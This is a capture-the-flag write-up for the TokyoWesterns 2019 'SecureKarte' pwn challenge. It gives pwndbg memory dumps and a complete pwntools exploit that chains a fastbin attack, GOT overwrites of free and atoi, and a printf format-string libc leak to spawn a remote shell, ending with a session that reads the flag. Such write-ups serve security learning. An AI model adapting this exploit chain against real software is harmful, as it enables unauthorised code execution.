# SecureKarteby mito
## 32 solves, 255 pts
* There is a vulnerability that can modify the fd of a free chunk in the Modify function (executable only once).* It seems to be able to exploit with fastbins unlink attack, but there is no value that can be used with p->size=0x7f that can change the list and lock part.* After spending a while, I remembered that if I specified a large size with malloc(), it would be allocated after the libc page. I can write 0x7f in list.* The Modify function can be used multiple times by rewriting the lock value to 0xdeadc0bebeef.* Since the Modify function can be used, the free() function was rewritten to the printf() function plt by GOT overwrite.* The libc leak used printf's FSB.* Finally, I rewritten the address of the atoi() function to the address of the system() function with GOT overwrite and started the shell.* When ASLR is enabled, the heap address size differs 3 bytes and 4 bytes, so the shell can be started with a probability of 2/3.
The list+21 address is written to fastbins```pwndbg> binstcachebins0x70 [  7]: 0x603500 —▸ 0x603490 —▸ 0x603420 —▸ 0x6033b0 —▸ 0x603340 ◂— ...fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x602155 (list+21) ◂— 0x6035e0000081 0x80: 0x0 unsortedbin```
State where 0x7fxxxxxxxxxx is written in the list part```0x602110 <reserved+112>:	0x0000000000000000	0x00000000000000000x602120 <zfd>:		0x0000000400000003	0x00000000000000000x602130:		0x0000000000000000	0x00000000000000000x602140 <list>:	0x0000a37000000001	0x00000000006035e00x602150 <list+16>:	0x0000c15200000000	0x00007ffff7fb5010  <= write 0x7f in list!0x602160 <list+32>:	0x000081e800000000	0x00000000006035e00x602170 <lock>:	0x073d757afab77c34	0x00000000000000000x602180 <stdout@@GLIBC_2.2.5>:	0x00007ffff7dd0760	0x00000000000000000x602190 <key>:		0x0000deadc0bebeef	0x00000000000000000x6021a0 <name>:	0x5858585858585858	0x58585858585858580x6021b0 <name+16>:	0x0000000000000000	0x00000000000000000x6021c0 <name+32>:	0x0000000000000000	0x00000000000000000x6021d0 <name+48>:	0x0000000000000000	0x0000000000000000```
Below is the exploit code.```# TokyoWesterns_CTF_5th_2019 / SecureKarte exploit code# 255 points / 32 solves# local is ubuntu 18.04
from pwn import *
context(os='linux', arch='amd64')#context.log_level = 'debug'
BINARY = './karte'elf  = ELF(BINARY)libc = elf.libc
if len(sys.argv) > 1 and sys.argv[1] == 'r':  HOST = "karte.chal.ctf.westerns.tokyo"  PORT = 10001  s = remote(HOST, PORT)  local = 0else:  #s = process([BINARY],env={'LD_PRELOAD': './libc.27.so'})  s = process(BINARY)  local = 1
def Add(size, data):  s.sendlineafter("> ", "1")  s.sendlineafter("Input size > ", str(size))  s.sendafter("Input description > ", data)  s.recvuntil("Added id ")  r = s.recvuntil("\n")[:-1]  return int(r)
def Delete(id):  s.sendlineafter("> ", "3")  s.sendlineafter("Input id > ", str(id))
def Modify(id, data):  s.sendlineafter("> ", "4")  s.sendlineafter("Input id > ", str(id))  s.sendafter("Input new description > ", data)
def Rename(name):  s.sendlineafter("> ", "99")  s.sendlineafter("Input patient name... ", name)
def Exit():  s.sendlineafter("> ", "0")
s.sendlineafter("Input patient name... ", "X"*0x10)
# for making fastbin, tcache is filled with seven chunksfor i in range(7):  id0 = Add(0x60, "A"*0x5f)  Delete(id0)
id0 = Add(0x60, "B"*0x5f)
# make 0x7fxxxxxxxxxx in listid3 = Add(0x21000, "Y"*0x5f)
id2 = Add(0x60, "C"*0x5f)Delete(id0)Delete(id2)
# fastbins unlink attackif local == 1:  Modify(id2, p64(0x602155)[0:3])else:  Modify(id2, p64(0x602155)[0:4])  # if ASLR is enabled, probability is higher  # for FSB of printfid0 = Add(0x60, "%13$p")Delete(id3)
# change lock=0xdeadc0bebeefid1 = Add(0x60, "E"*0xb+p64(0xdeadc0bebeef))  
# GOT overwrite free => printfModify(id1, "\x01"*3 + p64(elf.got['free']))
# get libc address using FSB of printfModify(0x1010100+(id2&0xff), p64(elf.plt['printf'])[0:6])Delete(id0)r = s.recvuntil('\n')[2:-1]libc_leak   = int(r, 16)libc_base   = libc_leak - 0x21b97system_addr = libc_base + libc.symbols['system']
print "libc_leak   =", hex(libc_leak)print "libc_base   =", hex(libc_base)print "system_addr =", hex(system_addr)
# GOT overwrite atoi => systemModify(id1, "\x01"*3 + p64(elf.got['atoi'])[0:3])Modify(0x1010100+(id2&0xff), p64(system_addr)[0:6])
# Start /bin/shs.sendlineafter("> ", "/bin/sh\x00")
s.interactive()
'''# TokyoWesterns_CTF_5th_2019/Pwn_SecureKarte$ python exploit.py r[+] Opening connection to karte.chal.ctf.westerns.tokyo on port 10001: Donelibc_leak   = 0x7fd9413b1b97libc_base   = 0x7fd941390000system_addr = 0x7fd9413df440[*] Switching to interactive mode$ iduid=40028 gid=40000(karte) groups=40000(karte)$ lsflagkarte$ cat flagTWCTF{pr1n7l355_15_50_53cur3!}''' ```